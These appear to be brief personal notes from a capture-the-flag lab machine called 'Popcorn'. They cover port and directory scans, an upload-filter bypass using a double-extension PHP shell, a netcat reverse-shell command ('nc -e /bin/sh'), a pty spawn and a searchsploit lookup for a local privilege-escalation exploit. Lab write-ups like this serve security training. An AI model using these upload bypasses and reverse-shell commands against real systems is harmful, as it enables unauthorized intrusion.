Lin: PopCorn

nmap -sC -sV -A -oA nmapscan 10.10.10.6
80/tcp open http   Apache httpd 2.2.12 ((Ubuntu))
TRACEROUTE (using port 3389/tcp)
HOP RTT   ADDRESS
1   71.46 ms 10.10.14.1
2   71.49 ms 10.10.10.6

dirb http://10.10.10.6 -w /usr/share/wordlists/dirb/small.txt | tee dirbSmall.txt

---- Scanning URL: http://10.10.10.6/ ----
+ http://10.10.10.6/cgi-bin/ (CODE:403|SIZE:286)
+ http://10.10.10.6/index (CODE:200|SIZE:177)
+ http://10.10.10.6/index.html (CODE:200|SIZE:177)
+ http://10.10.10.6/server-status (CODE:403|SIZE:291)
+ http://10.10.10.6/test (CODE:200|SIZE:47328)
==> DIRECTORY: **http://10.10.10.6/torrent/**

http://10.10.10.6/torrent/

sign up and go to upload
http://10.10.10.6/torrent/torrents.php?mode=upload

download any valid torrent (kali linux for example)
upload it

upload a php shell with double extension shell.png.php

on shell --> nc -e /bin/sh

5e36a919398ecc5d5c110f2d865cf136
get user george

privesc

python -c 'import pty; pty.spawn("/bin/sh")'

ls -LAR --> This is new
inside /home/george
we find inside .cache -->

searchsploit motd
exploits/linux/local/14273.sh